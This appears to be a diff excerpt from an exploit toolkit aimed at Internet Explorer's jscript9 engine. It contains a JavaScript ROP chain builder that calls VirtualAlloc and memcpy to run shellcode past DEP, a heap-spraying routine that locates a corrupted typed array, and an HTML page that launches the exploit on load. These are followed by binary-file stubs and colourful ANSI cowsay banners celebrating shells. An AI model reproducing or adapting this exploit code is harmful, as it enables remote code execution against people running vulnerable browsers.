this.rop = new Uint32Array(0x1000);
|
||||
this.ropAddress = informer.leakRopAddress(this.rop);
|
||||
this.base = addresses['base'];
|
||||
this.virtualAlloc = addresses['virtualAlloc'];
|
||||
this.memcpy = addresses['memcpy'];
|
||||
this.scAddr = addresses['shellcode'];
|
||||
this.scLength = scLength;
|
||||
};
|
||||
|
||||
// Build the ROP chain to bypass DEP
|
||||
RopBuilder.prototype.buildRop = function() {
|
||||
// ROP chain (rets in comments are omitted)
|
||||
// we perform:
|
||||
// (void*) EAX = VirtualAlloc(0, dwSize, MEM_COMMIT, PAGE_RWX)
|
||||
// memcpy(EAX, shellcode, shellcodeLen)
|
||||
// (void(*)())EAX()
|
||||
var offs = 0x30/4; // offset to chain after CALL [EAX+0x30]
|
||||
this.rop[0] = this.base + 0x1ff6; // ADD ESP, 0x30;
|
||||
this.rop[offs + 0x0] = this.base + 0x1ea1e; // XCHG EAX, ESP; <-- first gadget called
|
||||
this.rop[offs + 0x1] = this.virtualAlloc; // allocate RWX mem (address avail. in EAX)
|
||||
this.rop[offs + 0x2] = this.base + 0x10e9; // POP ECX; => pop the value at offs + 0x7
|
||||
this.rop[offs + 0x3] = 0; // lpAddress
|
||||
this.rop[offs + 0x4] = 0x4000; // dwSize (0x4000)
|
||||
this.rop[offs + 0x5] = 0x1000; // flAllocationType (MEM_COMMIT)
|
||||
this.rop[offs + 0x6] = 0x40; // flProtect (PAGE_EXECUTE_READWRITE)
|
||||
this.rop[offs + 0x7] = this.ropAddress + (offs+0xe)*4; // points to memcpy's dst param (*2)
|
||||
this.rop[offs + 0x8] = this.base + 0x1c743; // MOV [ECX], EAX; => set dst to RWX mem
|
||||
this.rop[offs + 0x9] = this.base + 0x10e9; // POP ECX;
|
||||
this.rop[offs + 0xa] = this.ropAddress + (offs+0xd)*4; // points to (*1) in chain
|
||||
this.rop[offs + 0xb] = this.base + 0x1c743; // MOV [ECX], EAX; => set return to RWX mem
|
||||
this.rop[offs + 0xc] = this.memcpy;
|
||||
this.rop[offs + 0xd] = 0xffffffff; // (*1): ret addr to RWX mem filled at runtime
|
||||
this.rop[offs + 0xe] = 0xffffffff; // (*2): dst for memcpy filled at runtime
|
||||
this.rop[offs + 0xf] = this.scAddr; // shellcode src addr to copy to RWX mem (param2)
|
||||
this.rop[offs + 0x10] = this.scLength; // length of shellcode (param3)
|
||||
};
|
||||
|
|
@ -0,0 +1,58 @@
|
|||
var Sprayer = function () {
|
||||
// amount of arrays to create on the heap
|
||||
this.nrArrays = 0x1000;
|
||||
// size of data in one array block: 0xefe0 bytes =>
|
||||
// subract array header (0x20) and space for typed array headers (0x1000)
|
||||
// from 0x10000
|
||||
this.arrSize = (0x10000-0x20-0x1000)/4;
|
||||
// heap array container will hold our heap sprayed data
|
||||
this.arr = new Array(this.nrArrays);
|
||||
// use one buffer for all typed arrays
|
||||
this.intArrBuf = new ArrayBuffer(4);
|
||||
this.corruptedArray = null;
|
||||
this.corruptedArrayNext = null;
|
||||
};
|
||||
|
||||
// Spray the heap with array data blocks and subsequent typed array headers
|
||||
// of type Uint32Array
|
||||
Sprayer.prototype.spray = function() {
|
||||
var k = 0;
|
||||
while(k < this.nrArrays) {
|
||||
// create "jscript9!Js::JavascriptArray" with blocksize 0xf000 (data
|
||||
// aligned at 0xXXXX0020)
|
||||
this.arr[k] = new Array(this.arrSize);
|
||||
|
||||
// fill remaining page (0x1000) after array data with headers of
|
||||
// "jscript9!Js::TypedArray<unsigned int>" (0x55 * 0x30 = 0xff0) as a
|
||||
// typed array header has the size of 0x30. 0x10 bytes are left empty
|
||||
for(var i = 0; i < 0x55; i++){
|
||||
// headers become aligned @ 0xXXXXf000, 0xXXXXf030, 0xXXXXf060,...
|
||||
this.arr[k][i] = new Uint32Array(this.intArrBuf, 0, 1);
|
||||
}
|
||||
|
||||
// tag the array's last element
|
||||
this.arr[k][this.arrSize - 1] = 0x12121212;
|
||||
k += 1;
|
||||
}
|
||||
};
|
||||
|
||||
// Find the corrupted Uint32Array (typed array)
|
||||
Sprayer.prototype.find = function() {
|
||||
var k = 0;
|
||||
|
||||
while(k < this.nrArrays - 1) {
|
||||
for(var i = 0; i < 0x55-1; i++){
|
||||
if(this.arr[k][i][0] != 0){
|
||||
// address of jscript9!Js::TypedArray<unsigned int>::`vftable'
|
||||
// alert("0x" + arr[k][i][0].toString(16))
|
||||
this.corruptedArray = this.arr[k][i];
|
||||
this.corruptedArrayNext = this.arr[k+1];
|
||||
this.fullMemory = this.arr[k][i+1];
|
||||
return 1;
|
||||
}
|
||||
}
|
||||
k++;
|
||||
}
|
||||
|
||||
return -1;
|
||||
};
|
|
@ -0,0 +1,11 @@
|
|||
<!DOCTYPE html>
|
||||
<html>
|
||||
<head>
|
||||
<script src="js/exploit.js"></script>
|
||||
<script src="js/sprayer.js"></script>
|
||||
<script src="js/informer.js"></script>
|
||||
<script src="js/rop_builder.js"></script>
|
||||
</head>
|
||||
<body onload="e = new Exploit(); e.run();">
|
||||
</body>
|
||||
</html>
|
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
|
@ -0,0 +1,35 @@
|
|||
[0m[0m _________________________________________________ [0m
|
||||
[0m< This console just got 20% cooler[0m >[0m
|
||||
[0m ------------------------------------------------- [0m[00m
|
||||
[0m/[0m[00m
|
||||
[0m/[0m [00m
|
||||
[38;5;74m▀▄▄▄▄▄▄▄▄[39m [0m/[0m [00m
|
||||
[38;5;74m▀▀[48;5;54m▄▄▄▄▄[48;5;74m█[38;5;54m▄▄▄[49;38;5;74m▄[39m [0m/[0m [00m
|
||||
[38;5;74m▄[48;5;74m███[38;5;113m▄▄[38;5;229m▄▄[38;5;74m██[48;5;54m▄[38;5;54m█[48;5;74;38;5;74m█[49;39m [0m/[0m [00m
|
||||
[38;5;74m▄[48;5;74m██[38;5;113m▄[48;5;113m█[38;5;229m▄▄[48;5;229m█[38;5;209m▄▄[38;5;229m██[48;5;74;38;5;113m▄[38;5;74m█[48;5;54;38;5;54m█[48;5;74;38;5;74m█[49;39m [0m/[0m [00m
|
||||
[38;5;74m▄[48;5;74m█[48;5;113;38;5;113m█[38;5;229m▄[48;5;229m███[48;5;209;38;5;209m██[38;5;203m▄[38;5;209m██[48;5;229m▄[48;5;113;38;5;229m▄[48;5;74;38;5;74m█[38;5;54m▄[49;38;5;74m▄[39m [0m/[0m [00m
|
||||
[38;5;74m▄[48;5;74m█[48;5;113;38;5;113m██[48;5;229;38;5;229m███[48;5;209;38;5;209m█[38;5;203m▄[48;5;203m██[38;5;74m▄[49m▀▀[48;5;209m▄[48;5;113;38;5;229m▄[48;5;74;38;5;74m██[49;39m [0m/[0m [00m
|
||||
[48;5;74;38;5;74m██[48;5;113;38;5;113m██[48;5;229;38;5;229m██[48;5;209;38;5;209m██[48;5;203;38;5;203m█[48;5;74;38;5;74m█[48;5;203m▄[48;5;74;38;5;209m▄[49;38;5;74m▄[39m [48;5;74;38;5;74m█[48;5;209;38;5;209m█[48;5;74;38;5;113m▄[38;5;74m█[49;39m [0m/[0m [00m
|
||||
[48;5;74;38;5;74m██[48;5;113m▄[38;5;113m█[48;5;229;38;5;229m██[48;5;209;38;5;74m▄[48;5;203;38;5;203m██[48;5;74;38;5;74m█[49;39m [38;5;74m▀▀[39m [48;5;74;38;5;74m█[48;5;203;38;5;203m█[48;5;113;38;5;113m█[48;5;74;38;5;74m█[49;39m [0m/[0m [00m
|
||||
[38;5;74m▀[48;5;74m██[48;5;113;38;5;113m█[48;5;229m▄[38;5;229m█[48;5;74;38;5;74m█[48;5;203;38;5;203m█[38;5;74m▄[49m▀[39m [48;5;74;38;5;74m█[48;5;113;38;5;113m█[48;5;74;38;5;74m█[49;39m [0m/[0m [00m
|
||||
[38;5;74m▀[39m [48;5;74;38;5;74m█[48;5;113;38;5;113m█[48;5;229;38;5;229m█[48;5;74;38;5;74m█[48;5;209m▄[49m▀[39m [48;5;74;38;5;74m█[48;5;113;38;5;209m▄[48;5;74;38;5;74m█[49;39m [0m/[0m [00m
|
||||
[48;5;74;38;5;74m█[48;5;113;38;5;113m█[48;5;229;38;5;74m▄[49m▀[48;5;74m█[49;39m [38;5;74m▄▄[48;5;74;38;5;117m▄▄▄▄[49;38;5;74m▄▄[39m [0m/[0m [00m
|
||||
[38;5;74m▀[48;5;113m▄[48;5;74m█[49;39m [38;5;74m▀[39m [38;5;74m▄[48;5;74;38;5;117m▄[48;5;117m█[38;5;231m▄[38;5;117m██████[48;5;74m▄[49;38;5;74m▄[39m [0m/[0m [00m
|
||||
[38;5;74m▀[48;5;74m█[49;39m [48;5;74;38;5;74m█[48;5;117;38;5;117m█[48;5;203;38;5;203m█[48;5;231;38;5;229m▄[38;5;231m██[48;5;117;38;5;117m██████[48;5;74;38;5;74m█[49;39m [0m/[0m [00m
|
||||
[38;5;74m▄[48;5;74m█[48;5;117;38;5;117m█[48;5;203;38;5;203m█[48;5;229;38;5;117m▄[48;5;74m▄[48;5;117m████████[48;5;74;38;5;74m█[49;39m [0m/[0m [00m
|
||||
[48;5;74;38;5;74m█[48;5;117;38;5;117m█[48;5;74;38;5;74m█[48;5;117;38;5;117m████[38;5;74m▄[38;5;117m██████[38;5;74m▄[49m▀[39m [0m/[0m [00m
|
||||
[48;5;74;38;5;74m█[48;5;117;38;5;117m███[48;5;74;38;5;74m█[48;5;117m▄▄[48;5;74m█[48;5;117;38;5;117m███████[48;5;74;38;5;74m█[49;39m [00m
|
||||
[38;5;74m▄[48;5;74;38;5;117m▄[48;5;117m███[38;5;74m▄[49m▀[39m [48;5;74;38;5;74m█[48;5;117m▄[38;5;117m██████[48;5;74;38;5;74m█[49;39m [38;5;74m▄▄▄[48;5;74;38;5;203m▄▄▄[49;38;5;74m▄▄▄[39m [00m
|
||||
[38;5;74m▄[48;5;74;38;5;117m▄[48;5;117m████[48;5;74;38;5;74m█[49;39m [38;5;74m▄[48;5;74m█[38;5;117m▄[48;5;117m██[38;5;74m▄[38;5;117m██[48;5;74;38;5;74m█[48;5;117;38;5;117m█[48;5;74m▄[38;5;74m█[38;5;229m▄[48;5;229m█[48;5;209m▄▄[38;5;209m██[48;5;203m▄▄[38;5;203m██[48;5;74m▄[38;5;74m█[49m▀[39m [00m
|
||||
[38;5;74m▀[48;5;117m▄[38;5;117m██[38;5;74m▄[49m▀▄[48;5;74;38;5;117m▄▄[48;5;117m███[38;5;74m▄[48;5;74;38;5;117m▄[48;5;117m█[48;5;74;38;5;74m█[48;5;117;38;5;117m█[48;5;110;38;5;74m▄[48;5;117;38;5;117m█[48;5;74;38;5;74m█[48;5;229m▄▄[38;5;229m███[48;5;209m▄▄[38;5;209m███[48;5;203m▄[38;5;74m▄[48;5;74;38;5;203m▄[49;39m [00m
|
||||
[38;5;74m▀▀[39m [38;5;74m▄[48;5;74m█[48;5;117;38;5;117m████[48;5;74;38;5;74m█[48;5;117;38;5;117m██[48;5;74;38;5;74m█[48;5;117;38;5;117m█[48;5;74;38;5;74m█[48;5;117;38;5;117m████[48;5;74m▄▄[48;5;229;38;5;74m▄[38;5;229m██[38;5;74m▄[48;5;209;38;5;229m▄[38;5;209m██[48;5;74;38;5;74m█[49m▀[48;5;209m▄[49;39m [00m
|
||||
[48;5;74;38;5;74m█[48;5;117;38;5;117m██[48;5;74;38;5;74m█[48;5;117m▄[48;5;74m█[48;5;117;38;5;117m█[48;5;74;38;5;74m█[48;5;117;38;5;117m██[48;5;74;38;5;74m█[48;5;117;38;5;117m███[38;5;16m▄[48;5;16;38;5;231m▄▄[48;5;74;38;5;16m▄[48;5;117;38;5;74m▄[38;5;117m█[48;5;74m▄[48;5;229;38;5;74m▄[48;5;74;38;5;117m▄[38;5;16m▄[48;5;229;38;5;74m▄[48;5;209;38;5;209m██[48;5;74;38;5;74m█[49;39m [00m
|
||||
[48;5;74;38;5;74m█[48;5;117;38;5;117m██[48;5;74;38;5;74m█[48;5;117;38;5;117m██[48;5;74;38;5;74m█[38;5;117m▄[38;5;74m█[48;5;117;38;5;117m██[48;5;74;38;5;74m██[48;5;16;38;5;117m▄[38;5;74m▄[48;5;231;38;5;231m████[48;5;16m▄[48;5;117;38;5;16m▄[38;5;117m██[48;5;16;38;5;74m▄[48;5;231;38;5;231m█[48;5;16;38;5;16m█[49m▀[48;5;209;38;5;74m▄[38;5;209m█[48;5;74;38;5;74m█[49;39m [00m
|
||||
[38;5;74m▀▀[48;5;117m▄[48;5;74;38;5;117m▄[48;5;117m█[48;5;74;38;5;74m█[48;5;117;38;5;117m██[48;5;74;38;5;74m█[48;5;117;38;5;117m█[38;5;74m▄[48;5;74m██[48;5;117;38;5;117m██[48;5;231;38;5;231m██[38;5;168m▄[48;5;168;38;5;231m▄[48;5;231;38;5;168m▄[48;5;16;38;5;16m█[48;5;117;38;5;117m██[48;5;74;38;5;74m█[48;5;168;38;5;231m▄[48;5;231;38;5;168m▄[49;39m [38;5;74m▀▀▀[39m [00m
|
||||
[38;5;74m▄[48;5;74;38;5;117m▄[48;5;117m█[48;5;74;38;5;74m█[48;5;117;38;5;117m██[48;5;74;38;5;74m█[48;5;117;38;5;117m██[48;5;74;38;5;74m██[48;5;113;38;5;113m█[48;5;74m▄[48;5;117;38;5;74m▄[38;5;117m█[48;5;231m▄[48;5;168;38;5;231m▄[48;5;16;38;5;168m▄[48;5;168;38;5;231m▄[48;5;16;38;5;117m▄[48;5;117m██[48;5;74m▄[48;5;16;38;5;74m▄[48;5;168m▄[49;39m [00m
|
||||
[48;5;74;38;5;74m█[48;5;117;38;5;117m█[38;5;74m▄[48;5;74m█[48;5;117;38;5;117m██[48;5;74;38;5;74m█[48;5;117;38;5;117m██[48;5;74;38;5;74m███[48;5;113m▄[48;5;74;38;5;113m▄[48;5;117;38;5;74m▄[38;5;117m█████████[48;5;74;38;5;74m█[49;39m [00m
|
||||
[38;5;74m▀▀[39m [48;5;74;38;5;74m█[48;5;117m▄[48;5;74m█[48;5;117;38;5;117m██[48;5;74;38;5;74m█[49;39m [48;5;74;38;5;74m█[48;5;54;38;5;54m█[48;5;74;38;5;74m█[48;5;113m▄[38;5;113m█[48;5;74;38;5;110m▄[48;5;117;38;5;74m▄▄▄▄▄▄[49m▀▀[39m [00m
|
||||
[38;5;74m▄[48;5;74;38;5;117m▄[48;5;117m███[48;5;74;38;5;74m█[49;39m [48;5;54;38;5;54m█[48;5;74;38;5;74m███[48;5;110m▄[38;5;110m█[48;5;67;38;5;67m█[49;39m [00m
|
||||
[38;5;74m▀[48;5;117m▄[38;5;117m███[48;5;74;38;5;74m█[49;39m [48;5;54;38;5;54m█[48;5;74;38;5;74m█[38;5;110m▄[38;5;74m█[48;5;110;38;5;110m█[48;5;67;38;5;67m█[49;39m [00m
|
||||
[38;5;74m▀[48;5;117m▄▄[49m▀[39m [48;5;54;38;5;54m█[48;5;74;38;5;74m█[49;38;5;67m▀[48;5;74;38;5;74m█[49;38;5;67m▀▀[39m [00m
|
||||
[48;5;74;38;5;74m█[49;39m [00m
|
|
@ -0,0 +1,31 @@
|
|||
[0m[0m __________________ [0m
|
||||
[0m< Shells are cool.[0m >[0m
|
||||
[0m ------------------ [0m[00m
|
||||
[0m\[0m [00m
|
||||
[0m\[0m [00m
|
||||
[0m\[0m [00m
|
||||
[0m\[0m [00m
|
||||
[0m\[0m [38;5;52m▄▄▄▄▄▄▄▄▄[39m [00m
|
||||
[48;5;52;38;5;52m█[48;5;88;38;5;88m█████████[48;5;52;38;5;52m█[49;39m [00m
|
||||
[38;5;52m▄[48;5;52;38;5;88m▄[48;5;88m█████████[48;5;52;38;5;52m█[49;39m [00m
|
||||
[38;5;52m▄[48;5;52;38;5;88m▄[48;5;88m██████████[48;5;52;38;5;52m█[49;38;5;234m▄▄[39m [00m
|
||||
[38;5;234m▄[48;5;52;38;5;52m█[48;5;88;38;5;88m█████████[48;5;101;38;5;101m█[38;5;144m▄▄[48;5;236;38;5;101m▄[38;5;236m█[48;5;234m▄[49;38;5;234m▄[39m [00m
|
||||
[38;5;234m▄[48;5;234;38;5;236m▄[48;5;236m██[48;5;52m▄▄▄[38;5;101m▄▄▄▄▄▄[48;5;101m█[48;5;144;38;5;144m██[48;5;101m▄[48;5;236;38;5;101m▄[38;5;236m█[48;5;234m▄[49;38;5;234m▄[39m [00m
|
||||
[38;5;234m▄[48;5;234;38;5;236m▄[48;5;236m████[38;5;101m▄[48;5;101;38;5;144m▄[48;5;144m████████[48;5;101;38;5;101m█[48;5;144;38;5;144m█[48;5;101;38;5;101m█[48;5;236;38;5;236m███[48;5;234;38;5;234m█[49;39m [00m
|
||||
[48;5;234;38;5;234m█[48;5;236;38;5;236m████[48;5;101;38;5;101m█[48;5;144;38;5;144m██[38;5;16m▄▄▄▄[38;5;144m██████[48;5;101;38;5;101m█[48;5;236;38;5;236m██[38;5;234m▄[49m▀[39m [00m
|
||||
[48;5;234;38;5;234m█[48;5;236;38;5;236m██[48;5;101;38;5;101m█[48;5;144;38;5;144m██[48;5;16;38;5;16m█[38;5;231m▄[48;5;231m█[48;5;57;38;5;57m█[48;5;231;38;5;231m█[48;5;16m▄[48;5;144;38;5;16m▄[38;5;144m███[48;5;101;38;5;101m█[48;5;236;38;5;236m███[48;5;234;38;5;234m█[49;39m [00m
|
||||
[38;5;234m▄▄[48;5;234;38;5;236m▄[48;5;236m██[48;5;101;38;5;101m█[48;5;144;38;5;144m████[48;5;16;38;5;231m▄[38;5;16m█[48;5;63;38;5;153m▄[48;5;231;38;5;231m██[48;5;16;38;5;16m█[48;5;144;38;5;144m███[48;5;101;38;5;101m█[48;5;236;38;5;236m██[38;5;234m▄[49m▀[39m [38;5;234m▄▄▄▄▄▄[39m [00m
|
||||
[38;5;234m▀[48;5;236m▄▄[48;5;101;38;5;101m█[48;5;144;38;5;144m██████[48;5;153m▄[48;5;231m▄▄[48;5;144m████[48;5;101;38;5;101m█[48;5;236;38;5;236m██[38;5;234m▄[49m▀[39m [38;5;234m▄[48;5;234;38;5;236m▄[48;5;236m██████[48;5;234m▄▄[38;5;234m█[49m▀[39m [00m
|
||||
[38;5;101m▀[48;5;144m▄▄[48;5;101;38;5;144m▄[48;5;144m██████[38;5;101m▄[38;5;144m███[48;5;101;38;5;101m█[48;5;236;38;5;236m█[38;5;234m▄[49m▀[39m [38;5;234m▄[48;5;234;38;5;236m▄[48;5;236m██████████[48;5;234;38;5;234m█[49m▄[39m [00m
|
||||
[38;5;101m▀▀▀▀▀▀[48;5;101m█[38;5;144m▄[48;5;144m███[38;5;250m▄[48;5;250;38;5;231m▄[48;5;234m▄[49;38;5;101m▄▄▄[48;5;101;38;5;144m▄▄▄▄▄[48;5;236;38;5;101m▄▄[49;38;5;234m▀▀▀[48;5;236m▄[38;5;236m██████[48;5;234m▄[49;38;5;234m▄[39m[00m
|
||||
[48;5;101;38;5;101m█[48;5;144;38;5;144m██[38;5;250m▄[48;5;250;38;5;231m▄[48;5;231m█[38;5;144m▄[48;5;144m███████[48;5;186;38;5;186m███[48;5;101;38;5;144m▄[49;38;5;101m▄[39m [48;5;234;38;5;234m█[48;5;236;38;5;236m████[48;5;234m▄[48;5;236;38;5;234m▄[48;5;234m█[49;39m[00m
|
||||
[38;5;88m▄[48;5;88m█[48;5;52;38;5;52m█[48;5;231;38;5;231m█[38;5;144m▄[48;5;144m█████████[38;5;186m▄[48;5;186m█[48;5;144m▄[38;5;144m█[48;5;101;38;5;101m█[49;39m [48;5;234;38;5;236m▄[48;5;236;38;5;234m▄[48;5;234m█[48;5;236;38;5;236m██[48;5;234;38;5;234m█[49;39m [38;5;234m▀[39m[00m
|
||||
[38;5;88m▀[38;5;52m▀[48;5;144;38;5;101m▄[38;5;144m███████[48;5;101;38;5;101m█[48;5;144;38;5;144m██[48;5;186m▄▄▄[48;5;144;38;5;101m▄[49m▀[39m [38;5;234m▀▀[39m [48;5;234;38;5;234m█[48;5;236;38;5;236m█[38;5;234m▄[49m▀[39m [00m
|
||||
[48;5;95;38;5;95m█[48;5;101;38;5;101m█[48;5;144;38;5;144m███[38;5;101m▄▄▄▄[48;5;101m█[48;5;144m▄[38;5;144m███[48;5;101m▄[49;38;5;101m▄[39m [48;5;234;38;5;234m█[48;5;236m▄[49m▀[39m [00m
|
||||
[48;5;95;38;5;95m█[48;5;101;38;5;101m█[48;5;144;38;5;144m███[48;5;101;38;5;101m█[49;39m [38;5;95m▀[48;5;137m▄[48;5;101;38;5;137m▄[38;5;101m█[48;5;144;38;5;144m████[48;5;101;38;5;101m█[49;39m [38;5;234m▀[39m [00m
|
||||
[38;5;95m▄[48;5;95;38;5;101m▄[48;5;101;38;5;144m▄[48;5;144m███[48;5;101;38;5;101m█[49;39m [48;5;95;38;5;95m█[48;5;137;38;5;137m██[48;5;101;38;5;101m█[48;5;144;38;5;144m███[48;5;101;38;5;101m█[49;39m [00m
|
||||
[48;5;95;38;5;95m█[48;5;101;38;5;101m█[48;5;144;38;5;144m████[48;5;101;38;5;101m█[49;39m [48;5;95;38;5;95m█[48;5;137;38;5;137m██[48;5;101;38;5;101m█[48;5;144;38;5;144m████[48;5;101;38;5;101m█[49;39m [00m
|
||||
[38;5;95m▄[48;5;95m█[48;5;137;38;5;101m▄[48;5;101;38;5;144m▄[48;5;144m████[48;5;101;38;5;101m█[49;39m [48;5;95;38;5;95m█[48;5;137;38;5;137m██[48;5;101;38;5;101m█[48;5;144;38;5;144m████[48;5;101;38;5;101m█[49;39m [00m
|
||||
[48;5;95;38;5;95m█[48;5;137m▄[48;5;101;38;5;101m█[48;5;144;38;5;144m█████[48;5;101;38;5;101m█[49;39m [48;5;95;38;5;95m█[48;5;137m▄▄[48;5;101;38;5;101m█[48;5;144;38;5;144m█████[48;5;101;38;5;101m█[49;39m [00m
|
||||
[48;5;101;38;5;101m█[48;5;144m▄▄▄▄▄[48;5;101m█[49;39m [48;5;101;38;5;101m█[48;5;144m▄▄▄▄▄[48;5;101m█[49;39m [00m
|
||||
[00m
|
|
@ -0,0 +1,27 @@
|
|||
[0m[0m ______________________________ [0m
|
||||
[0m< I love SHELLS![0m >[0m
|
||||
[0m ------------------------------ [0m[00m
|
||||
[0m\[0m [00m
|
||||
[0m\[0m [00m
|
||||
[0m\[0m [00m
|
||||
[38;5;54m▄▄[48;5;54m██[38;5;97m▄[38;5;54m█[38;5;90m▄[38;5;251m▄[38;5;90m▄[49;38;5;54m▄[39m [00m
|
||||
[38;5;54m▄[48;5;54;38;5;97m▄[48;5;97m██[48;5;54;38;5;54m█[48;5;97;38;5;97m█[48;5;54;38;5;54m█[48;5;90;38;5;251m▄[48;5;251;38;5;255m▄[48;5;255;38;5;251m▄[48;5;251;38;5;90m▄[48;5;97;38;5;97m█[48;5;54;38;5;133m▄[49;38;5;54m▄[39m [00m
|
||||
[38;5;251m▄[48;5;251;38;5;255m▄[49;38;5;251m▄[48;5;54;38;5;54m█[48;5;97;38;5;97m██[48;5;54;38;5;54m█[48;5;97;38;5;97m█[48;5;54;38;5;54m█[48;5;251;38;5;251m█[48;5;255;38;5;255m██[48;5;251;38;5;251m█[48;5;97m▄[38;5;133m▄[48;5;133;38;5;54m▄[49m▀[39m [00m
|
||||
[48;5;251;38;5;251m█[48;5;255;38;5;255m█[38;5;54m▄[48;5;54;38;5;97m▄[48;5;97m█[38;5;54m▄[48;5;54;38;5;97m▄[48;5;97;38;5;54m▄[48;5;54;38;5;255m▄[48;5;255m█[48;5;251m▄▄[48;5;255m█[38;5;16m▄[48;5;251;38;5;251m█[49;39m [00m
|
||||
[48;5;251;38;5;251m█[48;5;255;38;5;255m█[48;5;54m▄[48;5;97;38;5;54m▄▄[48;5;54m█[48;5;97;38;5;97m█[48;5;54;38;5;54m█[48;5;255;38;5;255m█[38;5;16m▄▄[48;5;16;38;5;117m▄[48;5;255;38;5;255m█[48;5;117;38;5;117m█[48;5;16;38;5;16m█[48;5;251;38;5;251m█[49;39m [00m
|
||||
[48;5;251;38;5;54m▄[48;5;255;38;5;251m▄[48;5;54;38;5;54m█[48;5;133;38;5;133m█[48;5;54;38;5;54m██[48;5;255;38;5;16m▄[48;5;16;38;5;117m▄[48;5;117;38;5;16m▄[38;5;117m██[48;5;255m▄[38;5;255m█[48;5;117;38;5;16m▄[48;5;16;38;5;251m▄[49;38;5;16m▀[39m [00m
|
||||
[38;5;54m▄▄[48;5;54;38;5;97m▄▄[38;5;133m▄▄▄▄[49;38;5;54m▄▄[39m [48;5;54;38;5;54m██[38;5;133m▄[48;5;133m█[38;5;54m▄[48;5;54;38;5;97m▄[38;5;54m█[48;5;255;38;5;255m█[48;5;16m▄▄▄▄▄[48;5;255m██[48;5;251m▄▄[38;5;251m█[49;39m[00m
|
||||
[38;5;54m▄[48;5;54;38;5;97m▄[48;5;97;38;5;54m▄[48;5;54;38;5;90m▄[48;5;90;38;5;97m▄▄▄[38;5;133m▄[48;5;97m▄▄▄[48;5;133;38;5;97m▄[48;5;54;38;5;133m▄[49;38;5;54m▄[39m [48;5;54;38;5;54m█[48;5;133;38;5;97m▄▄▄[48;5;97m█[48;5;54;38;5;54m█[38;5;255m▄[48;5;255m█████[38;5;251m▄[48;5;251;38;5;125m▄▄[49;38;5;251m▀▀[39m [00m
|
||||
[38;5;54m▄[48;5;54;38;5;97m▄[48;5;97m█[48;5;54;38;5;54m█[48;5;90;38;5;90m██[48;5;97m▄[38;5;54m▄[48;5;54;38;5;97m▄[38;5;133m▄▄▄▄[48;5;97;38;5;54m▄[48;5;54;38;5;133m▄[49;38;5;54m▄[39m [48;5;54;38;5;54m█[48;5;97;38;5;97m█[48;5;54;38;5;133m▄[48;5;90;38;5;54m▄▄[48;5;54;38;5;255m▄[48;5;255m██████[48;5;251;38;5;251m█[48;5;209m▄[48;5;125m▄[49m▄[39m [00m
|
||||
[48;5;54;38;5;54m█[48;5;97;38;5;97m██[48;5;54;38;5;54m██[48;5;90m▄[48;5;54;38;5;90m▄[48;5;97m▄[38;5;54m▄▄[49m▀▀[48;5;133m▄▄[48;5;54;38;5;133m▄[38;5;251m▄[49m▄▄[48;5;54;38;5;54m█[48;5;133;38;5;133m█[48;5;97;38;5;54m▄[48;5;133m▄[48;5;54;38;5;97m▄[38;5;54m█[48;5;255m▄[38;5;255m███[48;5;251m▄[38;5;251m█[49m▀▀▀[39m [00m
|
||||
[48;5;54;38;5;54m██[48;5;97;38;5;97m██[48;5;54m▄[38;5;54m█[48;5;90m▄[48;5;54m█[49;39m [48;5;251;38;5;251m█[48;5;255;38;5;117m▄[38;5;255m██[48;5;54m▄[48;5;133;38;5;54m▄[48;5;54m█[38;5;97m▄[38;5;133m▄[48;5;97;38;5;54m▄[48;5;90;38;5;90m█[48;5;54;38;5;54m█[48;5;255m▄[38;5;255m██[48;5;251;38;5;251m█[49;39m [00m
|
||||
[38;5;54m▀[48;5;97m▄[48;5;54;38;5;97m▄[48;5;97;38;5;54m▄▄[38;5;97m█[48;5;54m▄▄[49;38;5;54m▄[39m [48;5;251;38;5;251m█[48;5;255;38;5;255m█[48;5;74m▄[48;5;255m█[38;5;74m▄[38;5;255m█[48;5;54;38;5;54m█[38;5;97m▄[48;5;97;38;5;54m▄[48;5;54;38;5;97m▄▄▄[38;5;54m█[38;5;255m▄[48;5;255m██[48;5;251;38;5;251m█[49;39m [00m
|
||||
[38;5;54m▀[48;5;97m▄[38;5;97m██[48;5;54m▄[48;5;97;38;5;54m▄[38;5;97m██[48;5;54m▄[38;5;54m█[49;39m [48;5;251;38;5;251m█[48;5;255;38;5;255m█[48;5;74;38;5;117m▄[48;5;255;38;5;255m█[48;5;117m▄[48;5;255m█[48;5;54;38;5;54m█[48;5;97m▄[38;5;97m█[48;5;54m▄▄[38;5;54m█[48;5;255;38;5;255m███[48;5;251;38;5;251m█[49;39m [00m
|
||||
[48;5;54;38;5;54m█[38;5;97m▄[38;5;54m█[48;5;97m▄[38;5;97m███[48;5;54m▄[48;5;97;38;5;54m▄[48;5;54m█[49;39m [48;5;251;38;5;251m█[48;5;255;38;5;255m███[38;5;251m▄[48;5;251;38;5;255m▄[48;5;255m█[48;5;54m▄▄▄[48;5;255m██[38;5;251m▄[48;5;251m█[49;39m [00m
|
||||
[38;5;54m▄[48;5;54m██[49;39m [48;5;54;38;5;54m██[48;5;97;38;5;97m█[48;5;54m▄[38;5;54m██[48;5;97m▄[38;5;97m██[48;5;54;38;5;54m█[49;39m [38;5;251m▄[48;5;251;38;5;255m▄▄[48;5;255m█[38;5;251m▄[48;5;251;38;5;254m▄▄[38;5;251m█[49m▀▀[48;5;251m█[48;5;255;38;5;255m██[48;5;251;38;5;251m█[48;5;254;38;5;254m█[48;5;251;38;5;251m█[49;39m [00m
|
||||
[38;5;54m▀[48;5;97m▄[48;5;54;38;5;97m▄[38;5;54m█[49m▄[48;5;54m█[38;5;97m▄[48;5;97;38;5;54m▄[38;5;97m█[48;5;54m▄[38;5;54m██[49m▀▀▀[39m [38;5;251m▄[48;5;251;38;5;255m▄[48;5;255m██[38;5;251m▄[48;5;251;38;5;254m▄[48;5;254m█[48;5;251;38;5;251m█[49;39m [48;5;251;38;5;251m█[48;5;255;38;5;255m██[48;5;251;38;5;251m█[48;5;254;38;5;254m█[48;5;251;38;5;251m█[49;39m [00m
|
||||
